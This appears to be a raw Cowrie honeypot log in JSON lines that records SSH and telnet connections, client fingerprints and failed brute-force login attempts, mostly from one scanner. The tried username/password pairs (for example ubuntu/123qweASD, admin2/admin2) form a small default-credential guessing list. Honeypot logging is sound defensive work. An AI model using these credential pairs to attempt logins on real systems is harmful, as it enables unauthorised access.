{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36838,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdc60d7a0b56","protocol":"ssh","message":"New connection: 45.156.87.254:36838 (159.203.135.109:22) [session: bdc60d7a0b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:41.899256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:42.072376Z","src_ip":"45.156.87.254","session":"bdc60d7a0b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:42.076424Z","src_ip":"45.156.87.254","session":"bdc60d7a0b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:42.566770Z","src_ip":"45.156.87.254","session":"bdc60d7a0b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:43.657578Z","src_ip":"45.156.87.254","session":"bdc60d7a0b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36844,"dst_ip":"159.203.135.109","dst_port":22,"session":"8669b70df0a2","protocol":"ssh","message":"New connection: 45.156.87.254:36844 (159.203.135.109:22) [session: 8669b70df0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:47.025388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:47.033573Z","src_ip":"45.156.87.254","session":"8669b70df0a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:47.125253Z","src_ip":"45.156.87.254","session":"8669b70df0a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:47.382021Z","src_ip":"45.156.87.254","session":"8669b70df0a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:48.468527Z","src_ip":"45.156.87.254","session":"8669b70df0a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50854,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae622ce575d","protocol":"telnet","message":"New connection: 20.123.41.163:50854 (10.17.0.5:23) [session: 4ae622ce575d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:51.871483Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54462,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd707c4489a2","protocol":"ssh","message":"New connection: 45.156.87.254:54462 (159.203.135.109:22) [session: bd707c4489a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:51.977886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:51.982179Z","src_ip":"45.156.87.254","session":"bd707c4489a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:52.073956Z","src_ip":"45.156.87.254","session":"bd707c4489a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:52.462455Z","src_ip":"45.156.87.254","session":"bd707c4489a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:53.573581Z","src_ip":"45.156.87.254","session":"bd707c4489a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":44252,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ad210f407d8","protocol":"ssh","message":"New connection: 186.30.115.187:44252 (10.17.0.5:22) [session: 8ad210f407d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:56.334195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:56.339060Z","src_ip":"186.30.115.187","session":"8ad210f407d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:56.439793Z","src_ip":"186.30.115.187","session":"8ad210f407d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweASD","message":"login attempt [ubuntu/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:56.871511Z","src_ip":"186.30.115.187","session":"8ad210f407d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54476,"dst_ip":"159.203.135.109","dst_port":22,"session":"249b6c52a041","protocol":"ssh","message":"New connection: 45.156.87.254:54476 (159.203.135.109:22) [session: 249b6c52a041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:57.487614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:57.494396Z","src_ip":"45.156.87.254","session":"249b6c52a041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:57.580009Z","src_ip":"45.156.87.254","session":"249b6c52a041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:57.965951Z","src_ip":"45.156.87.254","session":"249b6c52a041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:57.977715Z","src_ip":"186.30.115.187","session":"8ad210f407d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:59.054420Z","src_ip":"45.156.87.254","session":"249b6c52a041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52906,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7ee239abb4e","protocol":"ssh","message":"New connection: 45.156.87.254:52906 (159.203.135.109:22) [session: a7ee239abb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:02.895470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:02.902181Z","src_ip":"45.156.87.254","session":"a7ee239abb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:02.986329Z","src_ip":"45.156.87.254","session":"a7ee239abb4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:03.247722Z","src_ip":"45.156.87.254","session":"a7ee239abb4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:04.353743Z","src_ip":"45.156.87.254","session":"a7ee239abb4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52910,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3c94cc04f44","protocol":"ssh","message":"New connection: 45.156.87.254:52910 (159.203.135.109:22) [session: a3c94cc04f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:08.281370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:08.338446Z","src_ip":"45.156.87.254","session":"a3c94cc04f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:08.542507Z","src_ip":"45.156.87.254","session":"a3c94cc04f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:08.824421Z","src_ip":"45.156.87.254","session":"a3c94cc04f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:09.910373Z","src_ip":"45.156.87.254","session":"a3c94cc04f44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52928,"dst_ip":"159.203.135.109","dst_port":22,"session":"172e62717ba2","protocol":"ssh","message":"New connection: 45.156.87.254:52928 (159.203.135.109:22) [session: 172e62717ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:13.509881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:13.515375Z","src_ip":"45.156.87.254","session":"172e62717ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:13.599314Z","src_ip":"45.156.87.254","session":"172e62717ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:13.968871Z","src_ip":"45.156.87.254","session":"172e62717ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:15.055023Z","src_ip":"45.156.87.254","session":"172e62717ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.135.63.141","src_port":60288,"dst_ip":"159.203.135.109","dst_port":23,"session":"f117c444c5f6","protocol":"telnet","message":"New connection: 139.135.63.141:60288 (159.203.135.109:23) [session: f117c444c5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:17.542273Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45376,"dst_ip":"159.203.135.109","dst_port":22,"session":"300a67796202","protocol":"ssh","message":"New connection: 45.156.87.254:45376 (159.203.135.109:22) [session: 300a67796202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:19.239959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:41:19.245451Z","src_ip":"45.156.87.254","session":"300a67796202","protocol":"ssh"}
